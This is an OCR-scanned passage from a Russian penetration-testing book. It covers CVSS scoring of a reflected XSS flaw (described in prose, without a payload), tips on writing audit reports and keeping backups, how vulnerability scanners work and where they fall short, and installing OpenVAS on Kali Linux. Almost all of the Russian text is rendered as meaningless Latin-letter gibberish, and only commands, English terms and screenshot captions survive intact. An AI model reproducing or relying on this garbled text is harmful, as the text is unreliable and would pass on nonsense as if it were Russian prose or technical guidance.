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Ta6nuua 5.1. OnpeaeneHne ypoBHSI KPUTUYHOCTU YSI3BMMOCTM Ha ocHoBe b6annos CVSS

YpoBeHb KPUTUYHOCTH Bannbi
Her 0

Husknit 0,1-3,9
Cpennmnii 4,0-6,9
Bricokuit 7,0-8,9
Kpurnueckuit 9,0-10

PaccMmoTpuM mpumep ompejieleHUst ypOBHS pucka. /lomycTuM, ecTb ysI3BUMOCTD
B O/THOM U3 KOMITOHEHTOB BeO-TIPUIOKeHs. [T OCYTIIECTBIIEH ST ATAaKU CIIETIHATHCT
CO3/IaeT CCHITKY Ha BeO-CalfT, Ha KOTOPOM YCTAaHOBJIEHA YSI3BUMAst BEPCHUS TIJIarnHa.
ITa CChLITKA COJEPKUT BPEJIOHOCHBIH JavaScript-koz. ATakytonuii BBOIUT KEPTBY
B 3a0JIy2K/I€HIE, 3aCTABJISAST €€ HAJKATh Ha ATY CChIIKY — OTIIPABJISAS CCHIIKY KEPTBE
110 HIEKTPOHHON MOYTe WM pasMelas CChlKy Ha BeG-caiite. Kora xeprsa Haxu-
MAeT Ha CChLIKY, YSI3BUMBII CePBEP OTIPABJISIET JKEPTBE JIETUTUMHYO BeG-CTPAHUILY
C BPEIOHOCHBIM JavaScript, co3aHHbIM aTakytoium. Be6-Gpaysep :KepTBbI BBIIIOJI-
HSIET BPEJOHOCHBII JavaScript B KOHTEKCTE YSI3BUMOTO BeO-caiiTa, 4To MO3BOJISET
aTakyIollleMy YUTaTh U U3MEHATD JaHHbIe, CBSA3aHHbIE C 9TUM CaliTOM. ATakM THUIIA
«Reflected XSS» 06brunO HalleIeHbl Ha KpaxKy GailioB cookies, CBI3aHHbBIX € YA3BH-
MBIM Be6-CaiiTOM, HO MOTYT HCIIOJIb30BATHCA JIJIs 3AITYCKA IPYTUX JEHCTBUIA.

Jluist pacueTa ypoOBHSI CEPhEe3HOCTH YSI3BUMOCTH MbI Gy/ieM uciosbsoBarh CVSS v3.1

(1abim. 5.2).

Ta6nuua 5.2. OnpegenexHne ypoBHS KPUTUYHOCTY YSI3BUMOCTM

MeTpuka 3HaueHue | KomMmeHTapui

BexTop aTaku Cetb Ataka MOKeT ObITb BBITIOJIHEHA YePe3 HHTEPHET

CJ10:KHOCTB aTaKkK Huzxwmii Ataxyronmii 6e3 mpobeM MOKET BBITOJHUTD JAHHYIO
aTaky

Hamnune l'[pI/IBI/IJ'Iel"I/H‘/II Her Z[J'[H BBITIOJTHEHHUA aTaKM HUKAaKNX HpI/IBI/IJIeFI/HjI
He Tpebyercst

Bsaumopeiictsue Tpebyercs | JKeprBa 00s13aTeIbHO J0JKHA HAKATh HA BPEIOHOC-

C TOJTb30BaTesIeM HYIO CCBITIKY

Obmactb reficTBIs Vamenena | Ys3BUMBIN KOMIIOHEHT HAXOIUTCST Ha BeO-cepBepe,
OJIHAKO 3aTPOHYTHIM OKa3bIBaeTCs BeO-Opaysep 1moJib-
30BareJIst

Kondunennnanpaocts | Husknit ITpoucxoanT yreuxa ToabKO NHGOPMAINH, CBSI3aH-

HOM ¢ KOHKPETHDIM YA3BUMbIM Be6-l’[pI/IIIO}KeHI/IeM

IlesocTHOCTD Husknit Casi3aHHast ¢ BeG-puioxReHneM nHGopMarust
He MOJKeT ObITh MOANUIMPOBaHa

Jlocrynnoctb Her Bpenonocusiit JavaScript cyiiecTBeHHO He BIHUSIET
Ha 6paysep KepTBbI
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Nrak, 6asosast Merpuka CVSS jist a10i1 ysissumoctu Oyzer 6,1 — cpearsisa (medium).

K cuacTbio, /17151 O1leHKY PUCKOB HAM He HYKHO JIEPKATh B TOJIOBE CTOJIBLKO UH(pOpMa-
. PaszpaboTunku cratzapra 1o3ab0THIMCH O HAC U CO3a/Ii OHJIARH-KaJIbKYJISATOP
(puc. 5.17), KOTOPBII 3HAUNTETHHO O0OJIETIaET HAIITY KU3Hb, — https://www.first.org/
cvss/calculator/3.1.

Common Vulnerability Scoring System Version 3.1
Calculator

lHover over metric group names, metric names and metric values for a summary of the information in the
official CVSS v3.1 Specification Document. The Specification is available in the list of links on the left, along
with a User Guide providing additional scoring guidance, an Examples document of scored vulnerabilities,
and notes on using this calculator (including its design and an XML representation for CVSS v3.1).

| (Medium) |
Attack Vector (AV) Scope (S)
(Adjacent 4] (Local ) Changed (C)
(Physical (] Confidentiality (C)

Attack Complexity (AC) (None v} (1ien 0]
—

Privileges Required (PR)
Availability (A)

User Interaction (UI) [mj m
froneer)

Puc. 5.17. OHnaliH-kanbkynstop CVSS

YTO CTOUT, @ Yero He CTOUT BK/IOYATb B OTUET

3HavaibHO 9TOT pasaest MmJaIaHupoOBaJICA B JKaHPE «BPE/IHbIX COBETOB», HO KHUTa
y HAC cepbesHasi, i I09TOMY OrpaHuYKMMcst 001Iei nHdopMaleil B TpaguiiiOHHOM
71T HAC CTHUJIE.

Tak vero »xe He CTOUT BKJIIOUaTh B oT4eT? HUKor/1a He cTapaiitech c/iesaTh Balll OTYET
GOJIbIIIE 32 CUET HEHYKHBIX JAHHBIX. TaK, IPeAbIIyIIii ab3a1] He COAEPKUT HIKAKOIL
[10JIe3HOM Jijish Bac nH(MOPMAIIUK, HO 3aHUMAaeT HECKOJIbKO CTPOK. To ke kacaercs
u otueTa. MHOKECTBO JIaHHBIX HEe PaBHO 00beMy TIpojieslaHHo# paboTel. Hampumep,
OCJIE TOTO KaK BbI TPOCKAHUPOBAIN NMap Bee MyOIMIHBIE aipeca KOMITAHIH, CKOPEee
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BCETO, BbI IIOJIYYUTE HECKOJIBKO CTPpAaHUIL JIaHHBIX, T/1€ HeﬁCTBHTeﬂbHO ITOJIESHBIMM
6leyT JIMIIb JE€CATOK CTPOK, BOT UX BaM M HYKHO IIOKa3aTb.

Wcnoap3yiiTe CHUMKY 9KpaHa, KOT/Ia 3TO yMecTHO. J{JIs oATBepskAeHs IPOHUKHO-
BEHUA B CUCTEMY HET CMbICJIA IIPUKJIAABIBATL K OTYETY B KauecTBe [JoKa3aTeIbCTBa
MOJTyYeHHbIe JaHHbIe, 0OCOOEHHO eCIu OHU KoH(bUAeHMaIbHbE. [[0CTaTOqHO 0O/
HOTO CHMMKA 9KPaHa, MOKa3bIBAIONIET0 OCHOBHBIE TTAPAMETPBI CUCTEMBI, B1arofapst
KOTOPBIM €€ MOKHO JIOCTOBEPHO MACHTU(UIIMPOBATD, U PE3yJIbTaTa BBITOJTHEHUS
KOMaH/[bl Whoami, oTBepKAaIoIIero norydyeHrue NPUBUIETUI B CUCTEME.

Eciiit B cBoeM 0OTU€ETE BBI CCHIJIACTECH Ha OTPEICTICHHbIE CTAHAAPTHI, TaHHBIE 00 ysi3-
BUMOCTSIX WJIN JIIOOYI0 APYTYI0 00LIEA0CTYITHYIO HHMOPMAIINIO, TO B IEJISX CO3AaHMUS
6oJiee TaKOHMYHOI'O OTYETAa PACCMOTPUTE BO3ZMOKHOCTh MCIIOJb30BAHMS CCHLIOK.
Crangapt SMTP conepxut B cebe 94 cTpaHuiibl, a yTo OyAET, €CIU Bbl 3aXOTUTE
BCTABUTDH B CBOM OTUET HECKOJIBKO TAKUX I/ICTO‘{HI/IKOB? HpI/I HNCITIOJIb30BaHUUN CCBILJIOK
Ha BHEIIHUE UCTOYHUKU Te, KOMY Oy/IeT HeOOXOMMO IIPoYecTh MH(GOPMALUIO, Ha KO-
TOPYIO BbI CCHLITAETECH, MOJTyUYaT TAKYI0 BOSMOKHOCTD, & BAIll OTYET OYAET BHITJISICTD
6oJiee cepbe3HbIM ¥ TIOHSITHBIM.

Mpe3eHTauns Matepuana

Hpe[[CTaBJIeHI/Ie OTYeTa ABJIAECTCA HE MeHee KPDUTUYHDbIM 3TAallOM, Y€M BbIIIOJIHEHNE
ayzuta nHGOPMAIMOHHOW CHCTEMBI. YOEIUTECh B TOM, UTO Balll OTYET ¥ [IPE3EHTa-
s (MJIA ¥ TO U JIPYTOE) TTOJITOTOBJIEHBI B €ITHOM CTUJIEe, UHPOPMAITUS U3JIaraeTcst
TeXHUYECKU I'paMOTHO U I1ocsegoBarebio. [Tocie co3manus oryera IpouTure ero
erire pas, ComocTaBbTe 0003HAYECHHBIE B HAYAJIE TIEJU C TIOJYICHHBIMU PE3YTHTATaAMI
U TIPOBEPETE, HACKOJIBKO ITO XOPOIIIO 0ToGpaskeHo B oTdere. OOsI13aTeIbHO HECKOIBKO
pas posepbre ophorpaduio 1 IyHKTYAIUIO — OMUOKU MOTYT CEPhE3HO MO0PBATH
BEPY B Bac Kak B IpoheccruoHaa.

Pe3epBHble kKonuu

CyliecTByeT /[Ba THIIA JIOJEH: T€, KTO PEryJIsSIpHO JIeJIaeT Pe3ePBHBIE KOIIUH, U T€, KTO
noka erite He gesaet ux. Cos/anue pe3epBHBIX KOMUN — KaK TIOKYITKA CTPAXOBKHU JIJIsT
Iy TEIIeCTBUS: IOKA BaM OHA He TIOHA0OUTCS, BB CYUTAETE HTO HAMIPACHON TPaTOii
PecypcoB, HO B 060 HEIIPeABUAEHHON CUTyanuu Bbl Oyaere 6aronaputh cebs 3a
TO, YTO 3aCTPAXOBAINCH. PEKOMEH/IYeTCsl PeryJIsipHO CO3/IaBaTh Pe3ePBHBIE KOITUU
JMOKYMEHTAIMK ¥ JI060i IPpyroil KpUTHYHOM wHpOpMaIuu., XpaHuTe Pe3epBHbIE
KOTMK B OE30MIAaCHOM MeCTe M PACCMOTPHUTE BO3MOKHOCTH IMTU(POBAHIS JaHHBIX,
Be/Ib BbI, KOHEYHO JKe, He XOTHUTE, YTOOBI B OJIMH TIPEKPACHDIN IeHb OHW OKa3aJIHCh
B 1yOJINYHOM JIOCTYIIE.
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Wtax, Mbl HAILILIU CEPBEP, K KOTOPOMY MOKEM MOJIYYUTh HOCTYIL. OOBIYHO 1S He-
CAHKIIMOHUPOBAHHOTO MOIKIIOUEHUST UCTIOIb3YIOT YSI3BUMOCTH B YCTAaHOBJIEHHOM
I1O. Ho kak onpezieinTh, Kakue yI3BUMOCTH ITPUCYTCTBYIOT HA y/IaJIECHHOM MalliHe,
a Kakue HeT? MOKHO MOTIBITAaThCS HANTH WX BPYYHYIO, HCITOJIb3YS MOJTYUYeHHYIO WH-
dopmaruio 1 6asbl JaHHBIX YA3BUMOCTE. VI XOTsI 9T0 caMblil IIPaBUJIBHBIINA Ty Th, OH
OyeT JIOJTUM 1 TPYAOEMKIM, IOTPeGYeT XOPOLIe TeOPeTHIECKOM U IPaKTUYECKOI
MOJITOTOBKU. B aTOM cirydae HaM TTOMOTYT CKaHepbI YSI3BUMOCTEH.

Cawmple nomryssipabie ckanepbl — Nessus, OpenVAS, Retina u Nexpose. OHu 1mo3Bo-
JISIOT He TOJIBKO HaXO/IUTh OTKPBITHIE yI3BUMOCTH B yctaHoBiaeHHOM [10 1 OC, HO
1 OTIPEeIesISATh yCTapeBIIue MPOTOKOJbI MU(MPOBAHMS, 3apa’keHHbIE KOMITBIOTEPHI
1 MHOTOE JIpyToe. DT UHCTPYMEHTHI MPe/IHA3HAYEHbBI HE TOJIBKO JIJISI 3JI0YMBIIII-
JIEHHUKOB, HO U st aJIMUHICTPATOPOB, JKEJIAIOIINX YIYYIIUTh 6€3011aCHOCTb CBOEH

nH(PACTPYKTYPHI.

MpuHUMN paboTbl CKAHEPOB YS3BMMOCTEMN

TexHosoruu M MpuUeMbl, KOTOPbIE UCITOJAb3YIOT CKaHEPhl YSI3BUMOCTel, MOTYT He-
CKOJIbKO PA3JIMYATbCS B 3aBUCMMOCTH OT IIPOJYKTa, OJJHAKO BCE OHM OCHOBAHDBI Ha
OOIIMX TIPUHITATIAX:

e Co6op undopmanuu. CraHnepbl yA3BUMOCTEH HAYMHAIOT CBOIO paboTy co cbopa
urdopMannn 06 aHATM3UPYEMOU CHCTEME, KOTOPBIN BKJIIOYAET B ce0s1 onpeiesie-
HUE JIOCTYITHBIX XOCTOB, ONEPAIIMOHHON CUCTEMBI, CEPBUCOB, OTKPBITBIX MOPTOB
W T. L.

e CpaBHenue ¢ 6a30i JaHHBIX YA3BUMOCTEN. Y Kask/[0TO CKaHepa ecTh OGIIUpHAs
6a3a JJaHHBIX U3BECTHBIX ysa3BUMocTell. Kak Tosbko nHdopManus o cucreme
cobpaHa, OHA CPAaBHUBAETCS ¢ GA301l JAHHBIX C TIEJIBIO OTIPE/IEUTD, KAKUE U3 U3-
BECTHBIX ySI3BUMOCTEH MOTYT IPUCYTCTBOBATH HA HAMICHHBIX XOCTaX.

® AKTHBHOE CKaHHUpOBaHHE. HeKOTOpre CKaHe€PbI TaKKe BbIIIOJHAIOT aKTUBHOE
CKaHMPpOBaHHE: OHM COBEPIIAIOT OIIpeAeJIEHHbIE I[eﬁCTBHH WJIN OTHPaBJIAIOT
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CIICIINAJIbHBIC ITAKETHI JaHHBIX, IIbITasACh YCTAHOBUTD, lIefICTBI/ITCJIbHO JIN B 1aH-
HOW cucTeMe MOKHO IIPOSKCIIyaTUPOBaTh Haﬁl[eHHyIO yA3BHUMOCTbD. OlIHaKO
9TO CBA3aHO C OIlIpe/IeJIEHHBIMWU PUCKAaMU 1M MOJKET IIPUBECTU K c6010 B pa60Te
CHCTEMBDBI.

e Anamu3 pe3yasTaToB. [IpoBoauTCs mocie Toro, Kak CKAHMPOBAHNE 3aBEPITEHO,
U MOJKET BKJTIOYATD B cebs OTIpe/ieIeHre TOT0, KaKWe YSI3BUMOCTH SIBJISTIOTCST Ha-
GoJiee KPUTHYHBIMU, A TAKIKe MPETIOKEHUST IO UCITPABICHIIO OGHAPYIKEHHbBIX
YAI3BUMOCTEI.

Ha camowm perre CKaHepbI yH3BHMOCTeﬁ TIPOCTO aBTOMATU3UPYIOT BCE TO, YTO MBI /1€~
JIaJIv 1O 9TOTO BPYYHYIO, U ITOJIy49alOT PEe3yJabTaT HAaMHOTO 6bICTp6€. Kak n y 06010
APYyToro MHCTPyYMEHTa, Y CKaHEPOB yHSBI/IMOCTeﬁ €CTb CBOM JOCTOMHCTBaA U HEL0-
cratku. 1 ecim JIOCTOMHCTBA O4Y€BU/IHbI, TO C HEJJOCTAaTKaMM HECKOJIbBKO CJIOKHEE,
HEKOTOPbIE U3 HUX ITPUBEAEHDbI HUKE!

o JloxkHomosoxkuTe bHbIe peayJabrarh (false positives). CkaHepbl MOTYT OHIMOOYHO
OIIPE/IEJINTD YSA3BUMOCTD, KOTOPAsl Ha CaMOM JieJie OTCYTCTBYET B cucTeMe. JTO
IIPUBOJIMT K [IOTEPE BPEMEHU U PeCypCcoB Ha UCCJIeIOBAHNE U UCIIPaBIeHNE TTPe/l-
nojaraeMoi ya3BUMOCTH.

e JloxHoneratusHbie pesysbraThl (false negatives). Ckanepbl MOTYT IIPOIYCTUTD
PEATHHO CYIIECTBYIOIINE YSI3BUMOCTH 13-3a HEMOCTATKA TAHHDIX, OTTHOOK B CHT-
HATypaX WM HECOBEPIIEHCTBA METOIOB OOHAPY KEHUSI.

e OrpaHnyeHHOCTh Ga3bl JAHHBIX ysa3BUMocTel. CkaHepbl 0OHAPYKIBAIOT TOJIBKO
T€ YSI3BUMOCTHU, KOTOPBIE COEPKATCS B MX Oasax JaHHBIX. HOBbIE ySI3BUMOCTH,
etife He 100aBJIeHHbIE B 0a3y MaHHBIX, UJIH YSI3BUMOCTH, CHEIU(pUIHBIE IS KOH-
KPETHOTO MPUJIOKEHUST, MOTYT OCTaThCST He3aMeUeHHBIMHU.

e OrcyrcrBue konTekcTa. CKaHepbl MOTYT HE YUYHUTBIBATH KOHTEKCT, B KOTOPOM
paboTaeT cucTeMa UM NPUIOKEHHE, a 9TO IIPUBOAUT K HENIPABUIBHOI OLIEHKE
PHCKOB MJIN TIPEJJIOKEHUIO HeCOOTBETCTBYIONNX PeKOMEeH AU 110 UcIpaBie-
HUIO YS3BUMOCTEH.

e BimsHue Ha 11eJIeBYIO cUcTeMY. AKTUBHOE CKAaHUPOBaHKE YS3BUMOCTEl CIIOCOOHO
HeraTUBHO CKAa3aThCsl HA IIPOU3BOANTEIBHOCTU CUCTEMBbI, BBI3BAB IIPOOJIEMBI C [10-
CTYITHOCTbIO MJIU JIasKe COOM.

CkaHepbl YA3BUMOCTEH TIPEACTABIISIIOT COOO BasKHbBIIT HHCTPYMEHT, HO OHU HE sIB-
nsiorest manareeit. OHKM He MOTYT OGHAPYKUTD BCe THITBI YSI3BUMOCTEH, 0COOEHHO
HOBbBIE WJIU clielii(PUUHbIE /I KOHKPETHOTO TUIIA IIPUJIOSKEHUS.

ABTOMATMYECKOE N PYYHOE CKaHNMPOBaHUe

HemocraTkn ckanepos 6e30macHOCTH MbI paccMoTpeau. Ho oM UMeroT u cBou
rnochl. [1epBoiii U, HABEPHOE, CaMblil OYEBUHBINA U3 HUX — OBICTPOTA, ¢ KOTOPOU
MPOUCXOIUT CKAHUPOBaHUE GOJBIIOTO KOJMYecTBa X0CTOB. /laxke ecii BbI cobepere
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XOPOTITYIO KOMaHAy TPO(QeCCHOHATOB, BPeMsI M 3aTPAThl HA PYYHOI TIOVCK YSI3BUMO-
creii GyIyT HECOMOCTABUMBI € TOM 1101301, KOTOPYIO IPUHECET KOHEUHBII Pe3yJib-
tat. Tem 6osee 94TO GOMBINAST YACTD YA3BUMOCTEH TOCTATOYHO GaHATbHA U XOPOTITO
M3BECTHA Pa3paboTINKaM CKAHEPOB.

BTOpOQ, MCHEE OUEBU/IHOE MTPEUMYIIECTBO — 9TO YMCHbBIIECHNE o1mmnboK CKaHUpOBa-
HUA. CKaHep HE yCTaeT n pa60TaeT METO/IMYHO, ITO3TOMY OH BCETr/Ja BBIIIOJTHUT BCIO
pa60Ty A0 KOHIIQA, ITPOBEPUT KaXK/AYIO YA3BUMOCTD U IO3BOJIMUT HE YIIYCTUTDb TO, YTO
MOJKET HE 3aMETHUTDb YEJIOBEK.

Haxkomner, TpeTbe IpenuMyIecTBO — aBTOMaTU3allsl CKaHUPoBaHusl. Takoil ckaHep
c1tocobeH paboTaTh IO PACIIUCAHUIO, CIEAUTH 32 BCell MHMDPACTPYKTY PO U TIEPBBIM
3aMETUTH TIPOOJIEMbI, KOTOPBIE MOTYT HOCTABUTD T10]] yrpo3y Oe3omacuocTsb VIC.

Opmako He cTouT 3a0BIBATH U PO MTPEVMYIECTBA PYYHOTO CKAHUPOBAHIST:

o [ny6una amaim3sa. PydHO MOWCK YSI3BIMOCTEH MO3BOJISIET CIIEIMATICTAM TITyOsKe
HCCIIENIOBATH CUCTEMBI U TPUTOKEHNUS, 0GHAPYKUBAST CTOKHBIE U CHIETM(UYECKTE
VSA3BUMOCTH.

e Pa6ora B KOHTEKCTE. Py‘{HOIL/'I ITIOUCK yHBBI/IMOCTeﬁ YUUTBIBAET KOHTEKCT 1 ocoben-
HOCTHU CHUCTEMbBI UJIN TTPUJIOKEHUS, YTO 1TO3BOJISAET 6oJ1ee TOUHO OIIEHUTb PUCKN
" IIPEAJIOKUTD IMOAXOJAANINE PEIICHWA.

e OO6HapysKeHHe HOBBIX U HEM3BECTHBIX JI0 ATOTO YSI3BUMOCTEHH.

Kakoil u3 aT0ro MOKHO c/ie1ath BoIBOA? JlJist IOCTUKEHUS JIyUIIero Pe3yibrara
HaM HeOOXOAUMO KOMOMHUPOBATh PyYHOE U aBTOMATUYECKOE CKAaHUPOBAHUE, YTO
MOMOJKET TIOJIYYUTh GoJiee MOJMHYI0 KapTHHY, a TAK/Ke M30€KaTh HEOCTATKOB 060UX
METO/IOB, COXPAHWB TIPU HTOM BCE TPEMMYIIECTBA.

CkaHMpOBaHME 13 BHYTPEHHEWN
N BHELLHEN CEeTU

CKaHI/IpOBaHI/Ie Ha Hajinm4ne yHSBI/IMOCTeﬁ MOJKET IMMTPOBO/IUTHCA KaK U3 BHeIHHeﬁ, TaK
nuns3 BHyTpeHHeI;'I CEeTH, Ipniem KasK/[bIF U3 3TUX IIO/IXO/I0B UMEET CBOMN 0COGEHHOCTH
" IIpenMyniecTBa.

Buemnnee ckanmpoBanue ysi3BUMOCTEl TPOBOIUTCS € UCIIOJIb30BAHUEM CKaHEPA,
PAcCIIOJIOKEHHOTO BHE CeTH Opranu3aiuu. B aToM ciryyae ckaHupOBaHUE UMUTUPYET
JeUCTBUS MOTEHIIMAIBHOTO 3JI0YMBIIICHHUKA, TIBITAIONIErOCd HAUTH 1 UCIIOIb30BATh
VSI3BUMOCTU BO BHeITHel nH(PacTPyKType opraHusaiuu: BeO-caiitax, cepepax,
(haiiepBoiax u ceTEBBIX YCTPOICTBAX.

[Ipu TakoM MMoaXo/e MBI OIIEHUBAEM TOJIBKO T€ PECYPCHI, K KOTOPBIM Y HAC €CTh
noctyn us [1o6aJbHOI CeTH, a 3HAYWT, Pe3YJIbTaT OJHO3HAYHO HEe OY/IeT MOJTHBIM.
K tomy ke MbI HeU36€KHO CTOJIKHEMCS C BO3MOKHOCTHIO OOHAPY/KEHUST HATITUX
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JeiicTBU, Beb BHENTHIH TpadUK HAXOAUTCS 110/ O0JIee MPUCTATbHBIM KOHTPOJIEM,
YyeM BHYTPeHHUI.

BuyTpennee ckanupoBanue ysi3BUMOCTEH ITPOBOUTCS € UCIIOJIb30BAHUEM CKaHEePa,
PacCIoJIOKEHHOTO BHYTPHU CETH opraHusaluu. B aToM ciyyae ckaHupoBaHue Ha-
MPaBJICHO Ha OOHAPYIKEHNE YA3BUMOCTEl BO BHYTPEHHEN MH(MPACTPYKTYpE, KOTOPBIE
MOTYT GBITh UCTIOIB30BAHBI 3I0YMBITIICHHUKOM, YK€ UMEIOIIUM JOCTYI K CETH.

[Tpu npoBesieny TAKOTO CKAHUPOBAHUS BPEMSI HA €r0 UCIOJIHEHNe CYIECTBEHHO
cokpaiaercd. Mbl MOKeM TakKe IIPU 3TOM 3aMyCTUTDb JOMOJHUTEIbHBIE TECTDI
(nampumep, ARP-ckanupoBanue), KOTopble B IPUHIIUIIE HEBO3MOKHBI ITPU CKAHU-
POBAHUM U3BHE.

C 11eJ1b10 JIOCTUKEHMS HAWJTYUIIEro PesyJibrata HeoOX0UMO KOMOMHUPOBATh Pas-
JINYHbBIE BAPUAHTBI CKAHMPOBAHUS, OJHAKO He 3a0bIBaiiTe, YTO HEKOTOPbIE TECTh
MOTYT ITPUBECTHU K OTKA3y CUCTEMBI, YeMY 3aKa34UK TOUHO He 0OPayercsl.

AyTeHTU(PUHNLNPOBAHHOE
N HeayTeHTUMOULMPOBAHHOE CKaHNMPOBaHME

AyTeHTI/I(bI/IHI/IpOBaHHOG CKaHUPOBaHME O3HAYAE€T, YTO CKaHED yHBBI/IMOCTefI BBbIIIOJI-
HAET IPOBEPKY C UCITOJIb30BAaHUEM YYETHBIX /IaHHbIX (]IOFI/IHa n HapOJIH) JUIA JIOCTYIIa
K CUCTEMaM WJIN TPUJIOKEHUSAM. IJTO TIOMOTaeT CKaHepy MOJIYYUTb 6oJ1blIe I/IH(l)Op-
MallM O CUCTEME U €€ KOH(I)I/II‘ypaIlI/II/I, a TaKyKe IIPOBEPUTDH YA3BUMOCTU, KOTOPbIE
MOTYT OBITh JIOCTYITHBI TOJIBKO aBTOPHU30BAaHHBIM I1OJIb30BATEJISAM.

AyrerTrduIpoBaHHOE CKAHUPOBAHIE TTIO3BOJISIET IPOBECTH OoJiee rryOOKIi aHa13
CHCTEMBI U BBITIOJIHUTD T€ JEHCTBUST, KOTOPbIE HEJIOCTYITHBI OJIb30BATENO Oe3 ayTeH-
tudukanuu. ITo, B CBOIO 0YEPEIb, TPUBEIET K YMEHBIIEHNIO KOJTMYECTBA JIOKHBIX
cpabaTbiBaHMii 1 aCT HOJiee TOUHBIE ¥ TIOJHBIE PE3YJIBTATHI.

HeayreHTudunnpoBanHOe CKAHUPOBAHUE YSI3BUMOCTEN BBITIOJIHSIETCST O€3 UCTIOJb-
30BaHUsI YUETHBIX JJaHHBIX. CKaHep TbITaeTCst OOHAPYKUTH YSI3BUMOCTH, QHATU3UPYST
CUCTEMBI ¥ CETU C TOYKHU 3PEHUS MOTEHIIUATBHOTO 3JI0YMBITIJICHHUKA, KOTOPBIH He
MMeeT aBTOPU30BAHHOTO JIOCTYTIA K PECypCaM.

OpenVAS

OpenVAS (Open Vulnerability Assessment System) — 9T0 MOIIHBINA GeCILIATHbIN
U OTKPBITHII UHCTPYMEHT JIJIsI CKAaHUPOBAHUSI UH(GOPMALIMOHHBIX CHCTEM C LEJIbIO 00~
HapyKkeHus ysiapumocteit. OH sIBJISIETCS] OJHON M3 CAMbIX TTOIYJISIPHBIX aJIbTEPHATUB
koMmMepueckuM perierussM. OpenVAS ocHoBaH Ha ncxoiHOM Kojie Nessus, 0/HaKO
€ MOMEHTA BBITTYCKA eT0 IEPBON BEPCHH ITPOU3OIILIN 3HAYUTETbHbIE U3BMEHEHWST 1 Ha
JaHHBII MOMEHT CKaHep MIPeL0CTABISIET COOCTBEHHbIN HAOOP (DYHKIIMIA.
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OpenVAS paspabarbiBaercs u npoasuraercsa kommnanueit Greenbone ¢ 2006
rojia. JABJSSICh 9aCTHI0 KOMMEPUECKOTO CEMENCTBA MTPOAYKTOB JIJIsT YITPABICHUS
yassumoctsimu Greenbone Enterprise Appliance, ckanep BMecTe ¢ APyTUMHU MO-
LYJISIME C OTKPBITHIM MCXOAHBIM KOZOM BXOAUT B ipoaykT Greenbone Community
Edition.

OpenVAS ucniosbayer 6oJibInyi0 6a3y JaHHBIX CUTHATYD YSI3BUMOCTEH, a TJIaBHOE,
PEryJISIpHO ee 0GHOBISET, YTO TIO3BOJISIET CBOEBPEMEHHO 0OHAPYKUBATE caabbie
MecTa B HHPPACTPYKTYPE.

Janubiii 1poaykT obsazaer 6OJBIIMM OTEHIMAJIOM MaCIITabUPyeMOCTH, TO €CTh
MOJKET CKaHUPOBAaTh GOJBIINE CETU U OJHOBPEMEHHO PaboTaTh CO MHOKECTBOM
YCTPOUCTB, YTO 3HAUUTEIBHO 00JIeTUaET €ro MpuMeHeHre mpu paboTe ¢ CHCTeMaMK
GOJIBIIOTO pasMepa.

OpenVAS nMeer MHOKECTBO HACTPOEK, THOKYI0 KOH(MUTYPAIIUIO, a TaK/Ke IO/ -
JIePKUBAET 3HAYUTETHHOE KOJMYECTBO TIIIATUHOB, B TOM YHCJIE TI0JIb30BATEIbCKIX.
Etite o001 10J1e3H0# (hyHKITHET SABIISIETCST CO3/IaHe TIOAPOOHBIX OTYETOB O Haii-
JIEHHBIX YSI3BUMOCTSX, BKJIIOUAs UX ONMCAHNE, BO3MOKHBIE PUCKH U MPe/IoKe-
HUS 10 WX UCTpaBiaeHnio. OTYeTl MOTYT OBITH 9KCIIOPTUPOBAHBI B PA3JIUTHbIE
(opmarsl.

YcTaHoBKa

CyiectByer HecKkoJIbKo BapuanToB ycranosku OpenVAS, B Tom umciie kak Docker-
KoHTeitHep. OHAKO caMbIil TIPOCTO# 1 OBICTPHII crtocob Hauath paboTy ¢ OpenVAS —
YCTaHOBUTH €ro U3 oduinanbHoro pernosuropust Kali Linux.

Komanpna nist yeranosku OpenVAS:

$sudo apt install openvas

Cueprytrormum maroM OyieT 3amyCcK yCTaHOBIMKA, KOTOpbiit HacTpouT OpenVAS
u 3arpysut camble cBeskue curHarypsl NVT (Network Vulnerability Tests). 3-3a
6oubioro kojmyectBa NVT (6osiee 50 ThICsY) 9TOT MIPOLECC MOKET 3aHSTh HEKO-
TOpOE BPeMsI.

[lns1 3ammycka mpoiecca yCTaHOBKH BBITTOJIHUTE CJIEIYIONTYI0 KOMAHIY:

$sudo gvm-setup

[Tocne ycTaHOBKM MOKHO IMPOBEPUTH KOPPEKTHOCTH MPOU3BEEHHON ONepannu
KOMaH/IOM:

$sudo gvm-check-setup

Termepb, yOeUBIINCD, YTO BCE UET M0 3apaHee HAMEYEHHOMY TLIAHY, Mbl MOKEM
MPUCTYTUTH K paboTe B MOJIB30BATETBCKOM HHTEpdeiice. [l focTyTa K MaHe
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ylpaBjieHus BBeauTe B Gpaysepe aapec localhost:9392. MM mosbsoBaTesist admin,
apoJib GBI CrEHEPUPOBAH ABTOMATHYECKH BO BpeMst yCTaHOBKHY (puc. 6.1).

4 Greenbone Security Assi % + - o x

-« 2 C 0 Q & o hipsilocalhost:9392/agin o @ & &
" Kali Linux 8 kali Tooks [ Kali Docs S, Kali Forums 3 Kali NetHunter s Exploit-DB = Google Hacking 08 L offSec

é Greenbone

Sign in to your account

Usermarme
admin

Passwoed
EEARAEARR AR

SOURCE
EDITION

Puc. 6.1. MepBoe noakntoyeHne k OpenVAS

AaMunHucTpuposaHue OpenVAS

OpenVAS, HECMOTPS Ha €r0 KasKyILyIOCs IIPOCTOTY, IIPEACTABJIIET cO00I1 JOCTaTOYHO
CJIO’KHBIH, MOIITHBIN 1 MHTEPECHBIN MHCTPYMEHT, 3HAKOMCTBO C KOTOPBIM HauHEM
C aIMUHUCTPATUBHON YaCTH.

O6HoBNEHUSA

OOGHOBJICHUST SIBJISTIOTCST OTHON M3 CaMbIX KPUTHYECKUX YacTell cructeMbl. Eci Bbr
e OyzeTe peryasipHO OGHOBISATH CUCTEMY, TO TIOTYYUTE PE3YIBTATHI TOCTATOUHO
HU3KOI'0 Ka4eCTBa, He OTpakalolye peabHOro 10J0XKeHus e B Hell. ITpoBeputsb
COCTOSIHUE CUTHATYDP MOKHO depes BeO-unTepdeiic (puc. 6.2), a 06HOBJIEHUE BbI-
TOJIHUTD CIeAYIoNnell KOMaHI0M:

$sudo openvas-feed-update
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& Greenbone Security Assic x| 4 o x
« 3 C 0 Q & hipssiocahost9392/feedstatus & @ & & =
"5 Kali Linux @ Kali Tooks [l Kali Docs S, Kali Forums 5 Kali NetHunter = Exploit-DB = Google Hacking 08 L OffSec
Dashbaards Resilience Canfiguration Admiristratien
@
:-\\ Feed Status
Type Content arigin Wersion Status
